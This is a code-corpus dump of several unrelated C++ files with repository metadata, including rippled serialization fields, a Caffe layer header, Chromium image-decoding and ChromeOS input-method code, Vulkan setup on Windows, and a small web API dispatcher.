] | 23 | 2015-01-04T00:13:27.000Z | 2019-02-15T18:01:17.000Z | //------------------------------------------------------------------------------
/*
This file is part of rippled: https://github.com/ripple/rippled
Copyright (c) 2012, 2013 Ripple Labs Inc.
Permission to use, copy, modify, and/or distribute this software for any
purpose with or without fee is hereby granted, provided that the above
copyright notice and this permission notice appear in all copies.
THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES
WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF
MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR
ANY SPECIAL , DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN
ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF
OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
*/
//==============================================================================
namespace ripple {
// These must stay at the top of this file
std::map<int, SField::ptr> SField::codeToField;
int SField::num = 0;
// Solve construction issues for objects with static storage duration.
SField::StaticLockType& SField::getMutex ()
{
static StaticLockType mutex;
return mutex;
}
SField sfInvalid (-1), sfGeneric (0);
SField sfLedgerEntry (STI_LEDGERENTRY, 1, "LedgerEntry");
SField sfTransaction (STI_TRANSACTION, 1, "Transaction");
SField sfValidation (STI_VALIDATION, 1, "Validation");
SField sfHash (STI_HASH256, 257, "hash");
SField sfIndex (STI_HASH256, 258, "index");
#define FIELD(name, type, index) SField sf##name(FIELD_CODE(STI_##type, index), STI_##type, index, #name);
#define TYPE(name, type, index)
#include "../protocol/SerializeDeclarations.h"
#undef FIELD
#undef TYPE
static int initFields ()
{
sfTxnSignature.notSigningField ();
sfTxnSignatures.notSigningField ();
sfSignature.notSigningField ();
sfIndexes.setMeta (SField::sMD_Never);
sfPreviousTxnID.setMeta (SField::sMD_DeleteFinal);
sfPreviousTxnLgrSeq.setMeta (SField::sMD_DeleteFinal);
sfLedgerEntryType.setMeta (SField::sMD_Never);
sfRootIndex.setMeta (SField::sMD_Always);
return 0;
}
static const int f = initFields ();
SField::SField (SerializedTypeID tid, int fv) : fieldCode (FIELD_CODE (tid, fv)), fieldType (tid), fieldValue (fv),
fieldMeta (sMD_Default), fieldNum (++num), signingField (true), jsonName (nullptr)
{
// call with the map mutex
fieldName = beast::lexicalCast <std::string> (tid) + "/" +
beast::lexicalCast <std::string> (fv);
codeToField[fieldCode] = this;
rawJsonName = getName ();
jsonName = Json::StaticString (rawJsonName.c_str ());
assert ((fv != 1) || ((tid != STI_ARRAY) && (tid != STI_OBJECT)));
}
SField::ref SField::getField (int code)
{
int type = code >> 16;
int field = code % 0xffff;
if ((type <= 0) || (field <= 0))
return sfInvalid;
StaticScopedLockType sl (getMutex ());
std::map<int, SField::ptr>::iterator it = codeToField.find (code);
if (it != codeToField.end ())
return * (it->second);
if (field > 255) // don't dynamically extend types that have no binary encoding
return sfInvalid;
switch (type)
{
// types we are willing to dynamically extend
#define FIELD(name, type, index)
#define TYPE(name, type, index) case STI_##type:
#include "../protocol/SerializeDeclarations.h"
#undef FIELD
#undef TYPE
break;
default:
return sfInvalid;
}
return * (new SField (static_cast<SerializedTypeID> (type), field));
}
int SField::compare (SField::ref f1, SField::ref f2)
{
// -1 = f1 comes before f2, 0 = illegal combination, 1 = f1 comes after f2
if ((f1.fieldCode <= 0) || (f2.fieldCode <= 0))
return 0;
if (f1.fieldCode < f2.fieldCode)
return -1;
if (f2.fieldCode < f1.fieldCode)
return 1;
return 0;
}
std::string SField::getName () const
{
if (!fieldName.empty ())
return fieldName;
if (fieldValue == 0)
return "";
return beast::lexicalCastThrow <std::string> (static_cast<int> (fieldType)) + "/" +
beast::lexicalCastThrow <std::string> (fieldValue);
}
SField::ref SField::getField (const std::string& fieldName)
{
// OPTIMIZEME me with a map. CHECKME this is case sensitive
StaticScopedLockType sl (getMutex ());
typedef std::map<int, SField::ptr>::value_type int_sfref_pair;
BOOST_FOREACH (const int_sfref_pair & fieldPair, codeToField)
{
if (fieldPair.second->fieldName == fieldName)
return * (fieldPair.second);
}
return sfInvalid;
}
SField::~SField ()
{
StaticScopedLockType sl (getMutex ());
std::map<int, ptr>::iterator it = codeToField.find (fieldCode);
if ((it != codeToField.end ()) && (it->second == this))
codeToField.erase (it);
}
} // ripple
| 30.493902 | 115 | 0.647471 | Ziftr |
864d6aa4f31ca97ea85e61123781207a80fbb786 | 1,903 | hpp | C++ | caffe/include/caffe/layers/point_transformer_layer.hpp | shaoxiaohu/Face-Alignment-with-Two-Stage-Re-initialization- | ccd26fee4dd0b6cd0d11de4d5b4d2d746e8cc66b | [
"MIT"
] | 92 | 2017-07-19T05:12:05.000Z | 2021-11-09T07:59:07.000Z | caffe/include/caffe/layers/point_transformer_layer.hpp | mornydew/Face_Alignment_Two_Stage_Re-initialization | ccd26fee4dd0b6cd0d11de4d5b4d2d746e8cc66b | [
"MIT"
] | 11 | 2017-10-18T05:11:20.000Z | 2020-04-03T21:28:20.000Z | caffe/include/caffe/layers/point_transformer_layer.hpp | mornydew/Face_Alignment_Two_Stage_Re-initialization | ccd26fee4dd0b6cd0d11de4d5b4d2d746e8cc66b | [
"MIT"
] | 31 | 2017-07-20T11:37:39.000Z | 2021-03-08T09:01:26.000Z | #ifndef CAFFE_POINT_TRANSFORMER_LAYERHPP_
#define CAFFE_POINT_TRANSFORMER_LAYERHPP_
#include <string>
#include <utility>
#include <vector>
#include "caffe/blob.hpp"
#include "caffe/data_transformer.hpp"
#include "caffe/internal_thread.hpp"
#include "caffe/layer.hpp"
#include "caffe/layers/base_data_layer.hpp"
#include "caffe/proto/caffe.pb.h"
namespace caffe {
/* PointTransformerLayer - Points Trasnformation layer
Transform points/landmarks for input points/landmarks based input spatial transformation parameters
input: [x1, y1, ..., xn, yn]
output: [x1', y1', ..., xn', yn']
20160705
*/
template <typename Dtype>
class PointTransformerLayer : public Layer<Dtype> {
public:
explicit PointTransformerLayer(const LayerParameter& param)
: Layer<Dtype>(param) {}
virtual void LayerSetUp(const vector<Blob<Dtype>*>& bottom,
const vector<Blob<Dtype>*>& top);
virtual void Reshape(const vector<Blob<Dtype>*>& bottom,
const vector<Blob<Dtype>*>& top);
virtual inline const char* type() const { return "PointTransformer Layer"; }
virtual inline int MinBottomBlobs() const { return 2; }
virtual inline int MaxBottomBlobs() const { return 2; }
virtual inline int MinTopBlobs() const { return 1; }
virtual inline int MaxTopBlobs() const { return 1; }
protected:
virtual void Forward_cpu(const vector<Blob<Dtype>*>& bottom,
const vector<Blob<Dtype>*>& top);
// virtual void Forward_gpu(const vector<Blob<Dtype>*>& bottom,
// const vector<Blob<Dtype>*>& top);
virtual void Backward_cpu(const vector<Blob<Dtype>*>& top,
const vector<bool>& propagate_down, const vector<Blob<Dtype>*>& bottom);
// virtual void Backward_gpu(const vector<Blob<Dtype>*>& top,
// const vector<bool>& propagate_down, const vector<Blob<Dtype>*>& bottom);
bool inv_trans;
int point_num_;
};
} // namespace caffe
#endif //CAFFE_POINT_TRANSFORMER_LAYERHPP_
| 32.810345 | 102 | 0.728849 | shaoxiaohu |
8657fc4b6b5ad2d30f1e0c36e84b42383131cc4e | 7,077 | cc | C++ | services/data_decoder/public/cpp/decode_image.cc | zealoussnow/chromium | fd8a8914ca0183f0add65ae55f04e287543c7d4a | [
"BSD-3-Clause-No-Nuclear-License-2014",
"BSD-3-Clause"
] | 14,668 | 2015-01-01T01:57:10.000Z | 2022-03-31T23:33:32.000Z | services/data_decoder/public/cpp/decode_image.cc | zealoussnow/chromium | fd8a8914ca0183f0add65ae55f04e287543c7d4a | [
"BSD-3-Clause-No-Nuclear-License-2014",
"BSD-3-Clause"
] | 86 | 2015-10-21T13:02:42.000Z | 2022-03-14T07:50:50.000Z | services/data_decoder/public/cpp/decode_image.cc | zealoussnow/chromium | fd8a8914ca0183f0add65ae55f04e287543c7d4a | [
"BSD-3-Clause-No-Nuclear-License-2014",
"BSD-3-Clause"
] | 5,941 | 2015-01-02T11:32:21.000Z | 2022-03-31T16:35:46.000Z | // Copyright 2016 The Chromium Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#include "services/data_decoder/public/cpp/decode_image.h"
#include <utility>
#include "base/bind.h"
#include "base/callback_helpers.h"
#include "base/debug/dump_without_crashing.h"
#include "base/metrics/histogram_functions.h"
#include "base/timer/elapsed_timer.h"
#include "mojo/public/cpp/bindings/remote.h"
#include "services/data_decoder/public/cpp/data_decoder.h"
#include "skia/ext/skia_utils_base.h"
#include "third_party/skia/include/core/SkBitmap.h"
namespace data_decoder {
namespace {
// Helper which wraps the original `callback` while also:
// 1) owning a mojo::Remote<ImageDecoder>
// 2) measuring and recording the end-to-end duration
// 3) calculating and recording the process+ipc overhead
void OnDecodeImage(mojo::Remote<mojom::ImageDecoder> decoder,
DecodeImageCallback callback,
const std::string& uma_name_prefix,
base::ElapsedTimer timer,
base::TimeDelta image_decoding_time,
const SkBitmap& bitmap) {
base::UmaHistogramMediumTimes("Security.DataDecoder.Image.DecodingTime",
image_decoding_time);
base::TimeDelta end_to_end_time = timer.Elapsed();
base::UmaHistogramMediumTimes(uma_name_prefix + ".EndToEndTime",
end_to_end_time);
base::TimeDelta process_overhead = end_to_end_time - image_decoding_time;
base::UmaHistogramMediumTimes(uma_name_prefix + ".ProcessOverhead",
process_overhead);
std::move(callback).Run(bitmap);
}
// Helper which wraps the original `callback` while also owning and keeping
// alive a mojo::Remote<ImageDecoder>.
void OnDecodeImages(mojo::Remote<mojom::ImageDecoder> decoder,
mojom::ImageDecoder::DecodeAnimationCallback callback,
std::vector<mojom::AnimationFramePtr> bitmaps) {
std::move(callback).Run(std::move(bitmaps));
}
void DecodeImageUsingServiceProcess(DataDecoder* data_decoder,
base::span<const uint8_t> encoded_bytes,
mojom::ImageCodec codec,
bool shrink_to_fit,
uint64_t max_size_in_bytes,
const gfx::Size& desired_image_frame_size,
DecodeImageCallback callback,
const std::string& uma_name_prefix,
base::ElapsedTimer timer) {
mojo::Remote<mojom::ImageDecoder> decoder;
data_decoder->GetService()->BindImageDecoder(
decoder.BindNewPipeAndPassReceiver());
// `callback` will be run exactly once. Disconnect implies no response, and
// OnDecodeImage promptly discards the decoder preventing further disconnect
// calls.
auto callback_pair = base::SplitOnceCallback(std::move(callback));
decoder.set_disconnect_handler(
base::BindOnce(std::move(callback_pair.first), SkBitmap()));
mojom::ImageDecoder* raw_decoder = decoder.get();
raw_decoder->DecodeImage(encoded_bytes, codec, shrink_to_fit,
max_size_in_bytes, desired_image_frame_size,
base::BindOnce(&OnDecodeImage, std::move(decoder),
std::move(callback_pair.second),
uma_name_prefix, std::move(timer)));
}
} // namespace
void DecodeImageIsolated(base::span<const uint8_t> encoded_bytes,
mojom::ImageCodec codec,
bool shrink_to_fit,
uint64_t max_size_in_bytes,
const gfx::Size& desired_image_frame_size,
DecodeImageCallback callback) {
base::ElapsedTimer timer;
// Create a new DataDecoder that we keep alive until |callback| is invoked.
auto data_decoder = std::make_unique<DataDecoder>();
auto* raw_decoder = data_decoder.get();
auto wrapped_callback = base::BindOnce(
[](std::unique_ptr<DataDecoder>, DecodeImageCallback callback,
const SkBitmap& bitmap) { std::move(callback).Run(bitmap); },
std::move(data_decoder), std::move(callback));
DecodeImageUsingServiceProcess(
raw_decoder, encoded_bytes, codec, shrink_to_fit, max_size_in_bytes,
desired_image_frame_size, std::move(wrapped_callback),
"Security.DataDecoder.Image.Isolated", std::move(timer));
}
void DecodeImage(DataDecoder* data_decoder,
base::span<const uint8_t> encoded_bytes,
mojom::ImageCodec codec,
bool shrink_to_fit,
uint64_t max_size_in_bytes,
const gfx::Size& desired_image_frame_size,
DecodeImageCallback callback) {
DecodeImageUsingServiceProcess(
data_decoder, encoded_bytes, codec, shrink_to_fit, max_size_in_bytes,
desired_image_frame_size, std::move(callback),
"Security.DataDecoder.Image.Reusable", base::ElapsedTimer());
}
void DecodeAnimationIsolated(
base::span<const uint8_t> encoded_bytes,
bool shrink_to_fit,
uint64_t max_size_in_bytes,
mojom::ImageDecoder::DecodeAnimationCallback callback) {
// Create a new DataDecoder that we keep alive until |callback| is invoked.
auto decoder = std::make_unique<DataDecoder>();
auto* raw_decoder = decoder.get();
auto wrapped_callback = base::BindOnce(
[](std::unique_ptr<DataDecoder>,
mojom::ImageDecoder::DecodeAnimationCallback callback,
std::vector<mojom::AnimationFramePtr> frames) {
std::move(callback).Run(std::move(frames));
},
std::move(decoder), std::move(callback));
DecodeAnimation(raw_decoder, encoded_bytes, shrink_to_fit, max_size_in_bytes,
std::move(wrapped_callback));
}
void DecodeAnimation(DataDecoder* data_decoder,
base::span<const uint8_t> encoded_bytes,
bool shrink_to_fit,
uint64_t max_size_in_bytes,
mojom::ImageDecoder::DecodeAnimationCallback callback) {
mojo::Remote<mojom::ImageDecoder> decoder;
data_decoder->GetService()->BindImageDecoder(
decoder.BindNewPipeAndPassReceiver());
// `callback` will be run exactly once. Disconnect implies no response, and
// OnDecodeImages promptly discards the decoder preventing further disconnect
// calls.
auto callback_pair = base::SplitOnceCallback(std::move(callback));
decoder.set_disconnect_handler(base::BindOnce(
std::move(callback_pair.first), std::vector<mojom::AnimationFramePtr>()));
mojom::ImageDecoder* raw_decoder = decoder.get();
raw_decoder->DecodeAnimation(
encoded_bytes, shrink_to_fit, max_size_in_bytes,
base::BindOnce(&OnDecodeImages, std::move(decoder),
std::move(callback_pair.second)));
}
} // namespace data_decoder
| 43.417178 | 80 | 0.661438 | zealoussnow |
865a37e14172e95004d5af18c4348c90bea0b192 | 3,703 | cpp | C++ | Source/Projects/GoddamnGraphics/GoddamnGraphicsVulkan/Source/GoddamnEngine/GraphicsVulkan/GraphicsVulkanWindows.cpp | GoddamnIndustries/GoddamnEngine | 018c6582f6a2ebcba2c59693c677744434d66b20 | [
"MIT"
] | 4 | 2015-07-05T16:46:12.000Z | 2021-02-04T09:32:47.000Z | Source/Projects/GoddamnGraphics/GoddamnGraphicsVulkan/Source/GoddamnEngine/GraphicsVulkan/GraphicsVulkanWindows.cpp | GoddamnIndustries/GoddamnEngine | 018c6582f6a2ebcba2c59693c677744434d66b20 | [
"MIT"
] | null | null | null | Source/Projects/GoddamnGraphics/GoddamnGraphicsVulkan/Source/GoddamnEngine/GraphicsVulkan/GraphicsVulkanWindows.cpp | GoddamnIndustries/GoddamnEngine | 018c6582f6a2ebcba2c59693c677744434d66b20 | [
"MIT"
] | 1 | 2017-01-27T22:49:12.000Z | 2017-01-27T22:49:12.000Z | // ==========================================================================================
// Copyright (C) Goddamn Industries 2015. All Rights Reserved.
//
// This software or any its part is distributed under terms of Goddamn Industries End User
// License Agreement. By downloading or using this software or any its part you agree with
// terms of Goddamn Industries End User License Agreement.
// ==========================================================================================
/*!
* @file GoddamnEngine/GraphicsVulkan/GraphicsVulkanWindows.cpp
* File contains Implementations for Windows-specific code of the Vulkan Implementation
* of the graphics interface.
*/
#include <GoddamnEngine/GraphicsVulkan/GraphicsVulkan.h>
#if GD_PLATFORM_WINDOWS
//#include <GoddamnEngine/Core/OutputDevice/OutputDevice.h>
#define GD_DLOG_CAT "GFX device (Windows@Vulkan)"
//! @todo Move this as a dependency.
#pragma comment (lib, "opengl32.lib")
#include <Windows.h>
GD_NAMESPACE_BEGIN
// ------------------------------------------------------------------------------------------
//! Function would be called on the global initialization step, before all other interfaces
//! are initialized.
//! @returns Non-negative value if the operation succeeded.
GDAPI IResult IGraphicsVulkanWindows::OnRuntimePreInitialize()
{
IResult const _BaseResult = IGraphicsPlatform::OnRuntimePreInitialize();
if (IFailed(_BaseResult))
return _BaseResult;
// Retrieving information about the list of supported screen resolutions.
{
DEVMODE HGLRCTestCanvasMode;
HGLRCTestCanvasMode.dmSize = sizeof(HGLRCTestCanvasMode);
for (DWORD _Cnt = 0; EnumDisplaySettings(nullptr, _Cnt, &HGLRCTestCanvasMode) != GD_FALSE; ++_Cnt)
{
// Testing current resolution..
if (ChangeDisplaySettings(&HGLRCTestCanvasMode, CDS_TEST) == DISP_CHANGE_SUCCESSFUL)
{
m_GfxResolutionsList.InsertAt(0, { static_cast<UInt32>(HGLRCTestCanvasMode.dmPelsWidth), static_cast<UInt32>(HGLRCTestCanvasMode.dmPelsHeight), 30, 1 });
m_GfxResolutionsList.InsertAt(0, { static_cast<UInt32>(HGLRCTestCanvasMode.dmPelsWidth), static_cast<UInt32>(HGLRCTestCanvasMode.dmPelsHeight), 60, 1 });
}
}
}
//! @todo Load default parameters.
m_GfxCanvasMode = IGRAPHICS_OUTPUT_MODE_WINDOWED; // Easier for debugging purposes.
m_GfxResolutionSelected = &m_GfxResolutionsList.GetData()[8];
return IResult::Ok;
}
// ------------------------------------------------------------------------------------------
//! Function would be called on the global initialization step.
//! @returns Non-negative value if the operation succeeded.
GDAPI IResult IGraphicsVulkanWindows::OnRuntimeInitialize()
{
// _CheckNotInitialized();
// ConsoleDevice->Log(GD_DLOG_CAT ": going to initialize graphics devices...");
IResult const _BaseResult = IGraphicsPlatform::OnRuntimeInitialize();
if (IFailed(_BaseResult))
return _BaseResult;
return IResult::Ok;
}
// ------------------------------------------------------------------------------------------
//! Function would be called on the global deinitialization step.
//! @returns Non-negative value if the operation succeeded.
GDAPI IResult IGraphicsVulkanWindows::OnRuntimeDeinitialize()
{
return IGraphicsPlatform::OnRuntimeDeinitialize();
}
// ------------------------------------------------------------------------------------------
//! Function would be called once per frame, after all other runtime
//! interfaces are deinitialized.
GDAPI void IGraphicsVulkanWindows::OnRuntimePostUpdate()
{
//! @todo Uncomment this.
IGraphicsPlatform::OnRuntimePostUpdate();
}
GD_NAMESPACE_END
#endif // if GD_PLATFORM_WINDOWS
| 39.817204 | 158 | 0.649743 | GoddamnIndustries |
865ba5b4c35a1e94594e02ff53e029cf581772dd | 11,597 | cc | C++ | chrome/browser/chromeos/input_method/input_method_engine.cc | xzhan96/chromium.src | 1bd0cf3997f947746c0fc5406a2466e7b5f6159e | [
"BSD-3-Clause-No-Nuclear-License-2014",
"BSD-3-Clause"
] | 1 | 2021-01-07T18:51:03.000Z | 2021-01-07T18:51:03.000Z | chrome/browser/chromeos/input_method/input_method_engine.cc | emilio/chromium.src | 1bd0cf3997f947746c0fc5406a2466e7b5f6159e | [
"BSD-3-Clause-No-Nuclear-License-2014",
"BSD-3-Clause"
] | null | null | null | chrome/browser/chromeos/input_method/input_method_engine.cc | emilio/chromium.src | 1bd0cf3997f947746c0fc5406a2466e7b5f6159e | [
"BSD-3-Clause-No-Nuclear-License-2014",
"BSD-3-Clause"
] | null | null | null | // Copyright 2013 The Chromium Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#include "chrome/browser/chromeos/input_method/input_method_engine.h"
#include <memory>
#include <utility>
#undef FocusIn
#undef FocusOut
#undef RootWindow
#include <map>
#include "ash/shell.h"
#include "base/logging.h"
#include "base/metrics/histogram_macros.h"
#include "base/strings/string_number_conversions.h"
#include "base/strings/string_util.h"
#include "base/strings/stringprintf.h"
#include "base/strings/utf_string_conversions.h"
#include "chrome/browser/profiles/profile_manager.h"
#include "ui/aura/window.h"
#include "ui/aura/window_tree_host.h"
#include "ui/base/ime/candidate_window.h"
#include "ui/base/ime/chromeos/component_extension_ime_manager.h"
#include "ui/base/ime/chromeos/extension_ime_util.h"
#include "ui/base/ime/chromeos/ime_keymap.h"
#include "ui/base/ime/composition_text.h"
#include "ui/base/ime/ime_bridge.h"
#include "ui/base/ime/text_input_flags.h"
#include "ui/chromeos/ime/input_method_menu_item.h"
#include "ui/chromeos/ime/input_method_menu_manager.h"
#include "ui/events/event.h"
#include "ui/events/event_processor.h"
#include "ui/events/event_utils.h"
#include "ui/events/keycodes/dom/dom_code.h"
#include "ui/events/keycodes/dom/keycode_converter.h"
#include "ui/keyboard/keyboard_controller.h"
#include "ui/keyboard/keyboard_util.h"
using input_method::InputMethodEngineBase;
namespace chromeos {
namespace {
const char kErrorNotActive[] = "IME is not active";
const char kErrorWrongContext[] = "Context is not active";
const char kCandidateNotFound[] = "Candidate not found";
// The default entry number of a page in CandidateWindowProperty.
const int kDefaultPageSize = 9;
} // namespace
InputMethodEngine::Candidate::Candidate() {}
InputMethodEngine::Candidate::Candidate(const Candidate& other) = default;
InputMethodEngine::Candidate::~Candidate() {}
// When the default values are changed, please modify
// CandidateWindow::CandidateWindowProperty defined in chromeos/ime/ too.
InputMethodEngine::CandidateWindowProperty::CandidateWindowProperty()
: page_size(kDefaultPageSize),
is_cursor_visible(true),
is_vertical(false),
show_window_at_composition(false) {}
InputMethodEngine::CandidateWindowProperty::~CandidateWindowProperty() {}
InputMethodEngine::InputMethodEngine()
: candidate_window_(new ui::CandidateWindow()), window_visible_(false) {}
InputMethodEngine::~InputMethodEngine() {}
const InputMethodEngine::CandidateWindowProperty&
InputMethodEngine::GetCandidateWindowProperty() const {
return candidate_window_property_;
}
void InputMethodEngine::SetCandidateWindowProperty(
const CandidateWindowProperty& property) {
// Type conversion from InputMethodEngine::CandidateWindowProperty to
// CandidateWindow::CandidateWindowProperty defined in chromeos/ime/.
ui::CandidateWindow::CandidateWindowProperty dest_property;
dest_property.page_size = property.page_size;
dest_property.is_cursor_visible = property.is_cursor_visible;
dest_property.is_vertical = property.is_vertical;
dest_property.show_window_at_composition =
property.show_window_at_composition;
dest_property.cursor_position =
candidate_window_->GetProperty().cursor_position;
dest_property.auxiliary_text = property.auxiliary_text;
dest_property.is_auxiliary_text_visible = property.is_auxiliary_text_visible;
candidate_window_->SetProperty(dest_property);
candidate_window_property_ = property;
if (IsActive()) {
IMECandidateWindowHandlerInterface* cw_handler =
ui::IMEBridge::Get()->GetCandidateWindowHandler();
if (cw_handler)
cw_handler->UpdateLookupTable(*candidate_window_, window_visible_);
}
}
bool InputMethodEngine::SetCandidateWindowVisible(bool visible,
std::string* error) {
if (!IsActive()) {
*error = kErrorNotActive;
return false;
}
window_visible_ = visible;
IMECandidateWindowHandlerInterface* cw_handler =
ui::IMEBridge::Get()->GetCandidateWindowHandler();
if (cw_handler)
cw_handler->UpdateLookupTable(*candidate_window_, window_visible_);
return true;
}
bool InputMethodEngine::SetCandidates(
int context_id,
const std::vector<Candidate>& candidates,
std::string* error) {
if (!IsActive()) {
*error = kErrorNotActive;
return false;
}
if (context_id != context_id_ || context_id_ == -1) {
*error = kErrorWrongContext;
return false;
}
// TODO: Nested candidates
candidate_ids_.clear();
candidate_indexes_.clear();
candidate_window_->mutable_candidates()->clear();
for (std::vector<Candidate>::const_iterator ix = candidates.begin();
ix != candidates.end(); ++ix) {
ui::CandidateWindow::Entry entry;
entry.value = base::UTF8ToUTF16(ix->value);
entry.label = base::UTF8ToUTF16(ix->label);
entry.annotation = base::UTF8ToUTF16(ix->annotation);
entry.description_title = base::UTF8ToUTF16(ix->usage.title);
entry.description_body = base::UTF8ToUTF16(ix->usage.body);
// Store a mapping from the user defined ID to the candidate index.
candidate_indexes_[ix->id] = candidate_ids_.size();
candidate_ids_.push_back(ix->id);
candidate_window_->mutable_candidates()->push_back(entry);
}
if (IsActive()) {
IMECandidateWindowHandlerInterface* cw_handler =
ui::IMEBridge::Get()->GetCandidateWindowHandler();
if (cw_handler)
cw_handler->UpdateLookupTable(*candidate_window_, window_visible_);
}
return true;
}
bool InputMethodEngine::SetCursorPosition(int context_id,
int candidate_id,
std::string* error) {
if (!IsActive()) {
*error = kErrorNotActive;
return false;
}
if (context_id != context_id_ || context_id_ == -1) {
*error = kErrorWrongContext;
return false;
}
std::map<int, int>::const_iterator position =
candidate_indexes_.find(candidate_id);
if (position == candidate_indexes_.end()) {
*error = kCandidateNotFound;
return false;
}
candidate_window_->set_cursor_position(position->second);
IMECandidateWindowHandlerInterface* cw_handler =
ui::IMEBridge::Get()->GetCandidateWindowHandler();
if (cw_handler)
cw_handler->UpdateLookupTable(*candidate_window_, window_visible_);
return true;
}
bool InputMethodEngine::SetMenuItems(
const std::vector<input_method::InputMethodManager::MenuItem>& items) {
return UpdateMenuItems(items);
}
bool InputMethodEngine::UpdateMenuItems(
const std::vector<input_method::InputMethodManager::MenuItem>& items) {
if (!IsActive())
return false;
ui::ime::InputMethodMenuItemList menu_item_list;
for (std::vector<input_method::InputMethodManager::MenuItem>::const_iterator
item = items.begin();
item != items.end(); ++item) {
ui::ime::InputMethodMenuItem property;
MenuItemToProperty(*item, &property);
menu_item_list.push_back(property);
}
ui::ime::InputMethodMenuManager::GetInstance()
->SetCurrentInputMethodMenuItemList(menu_item_list);
input_method::InputMethodManager::Get()->NotifyImeMenuItemsChanged(
active_component_id_, items);
return true;
}
bool InputMethodEngine::IsActive() const {
return !active_component_id_.empty();
}
void InputMethodEngine::HideInputView() {
keyboard::KeyboardController* keyboard_controller =
keyboard::KeyboardController::GetInstance();
if (keyboard_controller) {
keyboard_controller->HideKeyboard(
keyboard::KeyboardController::HIDE_REASON_MANUAL);
}
}
void InputMethodEngine::EnableInputView() {
keyboard::SetOverrideContentUrl(input_method::InputMethodManager::Get()
->GetActiveIMEState()
->GetCurrentInputMethod()
.input_view_url());
keyboard::KeyboardController* keyboard_controller =
keyboard::KeyboardController::GetInstance();
if (keyboard_controller)
keyboard_controller->Reload();
}
void InputMethodEngine::Enable(const std::string& component_id) {
InputMethodEngineBase::Enable(component_id);
EnableInputView();
}
void InputMethodEngine::PropertyActivate(const std::string& property_name) {
observer_->OnMenuItemActivated(active_component_id_, property_name);
}
void InputMethodEngine::CandidateClicked(uint32_t index) {
if (index > candidate_ids_.size()) {
return;
}
// Only left button click is supported at this moment.
observer_->OnCandidateClicked(active_component_id_, candidate_ids_.at(index),
InputMethodEngineBase::MOUSE_BUTTON_LEFT);
}
// TODO(uekawa): rename this method to a more reasonable name.
void InputMethodEngine::MenuItemToProperty(
const input_method::InputMethodManager::MenuItem& item,
ui::ime::InputMethodMenuItem* property) {
property->key = item.id;
if (item.modified & MENU_ITEM_MODIFIED_LABEL) {
property->label = item.label;
}
if (item.modified & MENU_ITEM_MODIFIED_VISIBLE) {
// TODO(nona): Implement it.
}
if (item.modified & MENU_ITEM_MODIFIED_CHECKED) {
property->is_selection_item_checked = item.checked;
}
if (item.modified & MENU_ITEM_MODIFIED_ENABLED) {
// TODO(nona): implement sensitive entry(crbug.com/140192).
}
if (item.modified & MENU_ITEM_MODIFIED_STYLE) {
if (!item.children.empty()) {
// TODO(nona): Implement it.
} else {
switch (item.style) {
case input_method::InputMethodManager::MENU_ITEM_STYLE_NONE:
NOTREACHED();
break;
case input_method::InputMethodManager::MENU_ITEM_STYLE_CHECK:
// TODO(nona): Implement it.
break;
case input_method::InputMethodManager::MENU_ITEM_STYLE_RADIO:
property->is_selection_item = true;
break;
case input_method::InputMethodManager::MENU_ITEM_STYLE_SEPARATOR:
// TODO(nona): Implement it.
break;
}
}
}
// TODO(nona): Support item.children.
}
void InputMethodEngine::UpdateComposition(
const ui::CompositionText& composition_text,
uint32_t cursor_pos,
bool is_visible) {
ui::IMEInputContextHandlerInterface* input_context =
ui::IMEBridge::Get()->GetInputContextHandler();
if (input_context)
input_context->UpdateCompositionText(composition_text, cursor_pos,
is_visible);
}
void InputMethodEngine::CommitTextToInputContext(int context_id,
const std::string& text) {
ui::IMEBridge::Get()->GetInputContextHandler()->CommitText(text);
// Records histograms for committed characters.
if (!composition_text_->text.empty()) {
base::string16 wtext = base::UTF8ToUTF16(text);
UMA_HISTOGRAM_CUSTOM_COUNTS("InputMethod.CommitLength", wtext.length(), 1,
25, 25);
composition_text_.reset(new ui::CompositionText());
}
}
bool InputMethodEngine::SendKeyEvent(ui::KeyEvent* event,
const std::string& code) {
DCHECK(event);
if (event->key_code() == ui::VKEY_UNKNOWN)
event->set_key_code(ui::DomKeycodeToKeyboardCode(code));
ui::EventProcessor* dispatcher =
ash::Shell::GetPrimaryRootWindow()->GetHost()->event_processor();
ui::EventDispatchDetails details = dispatcher->OnEventFromSource(event);
return !details.dispatcher_destroyed;
}
} // namespace chromeos
| 33.909357 | 79 | 0.717427 | xzhan96 |
865ced23c38df56f37d80cd8673372031c1aaaad | 916 | cpp | C++ | pellets/harold/harold_server_request_api.cpp | wohaaitinciu/zpublic | 0e4896b16e774d2f87e1fa80f1b9c5650b85c57e | [
"Unlicense"
] | 50 | 2015-01-07T01:54:54.000Z | 2021-01-15T00:41:48.000Z | pellets/harold/harold_server_request_api.cpp | sinmx/ZPublic | 0e4896b16e774d2f87e1fa80f1b9c5650b85c57e | [
"Unlicense"
] | 1 | 2015-05-26T07:40:19.000Z | 2015-05-26T07:40:19.000Z | pellets/harold/harold_server_request_api.cpp | sinmx/ZPublic | 0e4896b16e774d2f87e1fa80f1b9c5650b85c57e | [
"Unlicense"
] | 39 | 2015-01-07T02:03:15.000Z | 2021-01-15T00:41:50.000Z | #include "harold_server_request_api.h"
int HaroldServerRequestApi::OnRequest(struct mg_connection *conn)
{
if (conn->uri)
{
std::string sUri(conn->uri);
std::map<std::string, HaroldServerRequestApiFunc>::iterator it = m_mapApiList.find(sUri);
if (it != m_mapApiList.end())
{
return it->second(conn);
}
}
return 0;
}
bool HaroldServerRequestApi::InsertApi(const std::string& uri, HaroldServerRequestApiFunc func)
{
if (uri.size() == 0 || !func)
{
return false;
}
m_mapApiList[uri] = func;
return true;
}
bool HaroldServerRequestApi::RemoveApi(const std::string& uri)
{
if (uri.size() == 0)
{
return false;
}
std::map<std::string, HaroldServerRequestApiFunc>::iterator it = m_mapApiList.find(uri);
if (it != m_mapApiList.end())
{
m_mapApiList.erase(it);
}
return true;
}
| 22.9 | 97 | 0.612445 | wohaaitinciu |
